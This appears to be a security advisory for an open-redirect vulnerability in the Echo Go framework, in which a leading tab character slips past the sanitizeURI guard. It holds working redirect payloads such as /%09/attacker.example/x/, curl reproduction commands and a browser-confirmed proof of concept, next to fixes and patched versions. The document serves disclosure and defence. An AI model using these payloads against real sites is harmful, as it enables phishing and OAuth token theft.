CVE-2026-118656: Echo: Open Redirect via Control-Character Prefix Defeating sanitizeURI

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

go func sanitizeURI(uri string) string { // double slash \\, // or even \/ is absolute uri for browsers and by redirecting request to that uri // we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') { uri = "/" + strings.TrimLeft(uri, /\) } return uri }

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

go path := url.Path ... if l > 0 && strings.HasSuffix(path, "/") { path = path[:l] uri := path if qs != "" { uri += "?" + qs } if config.RedirectCode != 0 { return c.Redirect(config.RedirectCode, sanitizeURI(uri)) // line 132 }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

- Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data. - Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed. - Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002poc.zip

Quick start:

bash unzip ECHO-2026-002poc.zip cd ECHO-2026-002 edit go.mod: point the replace directive at your Echo checkout sed -i 's|=> .|=> /absolute/path/to/echo|' go.mod GOFLAGS=-mod=mod go run . # in-process check GOFLAGS=-mod=mod go run . -serve # real listener on 127.0.0.1:18002

Environment used for verification

- OS: Linux 6.18.33.2-microsoft-standard-WSL2, x8664 - Go: go1.27.0 linux/amd64 - Target: Echo v5.3.1 (module github.com/labstack/echo/v5) - Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

go package main

import ( "net/http"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{ RedirectCode: http.StatusMovedPermanently, })) e.GET("/", func(c echo.Context) error { return c.String(200, "home") }) = e.Start("127.0.0.1:18002") }

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

bash GOFLAGS=-mod=mod go run .

GET code Location (control chars shown) browser navigates to /normal/path/ 301 /normal/path (victim origin) control: ordinary path, sanitized correctly /%09/attacker.example/x/ 301 /^I/attacker.example/x attacker.example exploit: TAB then slash /%09%5Cattacker.example/x/ 301 /^I\attacker.example/x attacker.example exploit: TAB then backslash /..%09/attacker.example/ 301 /..^I/attacker.example (victim origin) NOT exploitable: TAB is not at index 1 /%09//attacker.example/ 301 /^I//attacker.example (victim origin) NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

bash curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3 HTTP/1.1 301 Moved Permanently Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

bash curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3 Location: / /attacker.example/x (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

- Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice. - OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens. - Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

go func sanitizeURI(uri string) string { // Strip control characters that browsers remove before parsing, so they cannot // be used to shift a separator out of the checked positions. uri = strings.Map(func(r rune) rune { if r < 0x20 || r == 0x7f { return -1 } return r }, uri) // Collapse any leading separator run (both slash kinds) to a single slash. if strings.ContainsAny(uri[:min(len(uri), 1)], /\) { trimmed := strings.TrimLeft(uri, /\) if len(trimmed) != len(uri) { return "/" + trimmed } } return uri }

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use. 2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI. 3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.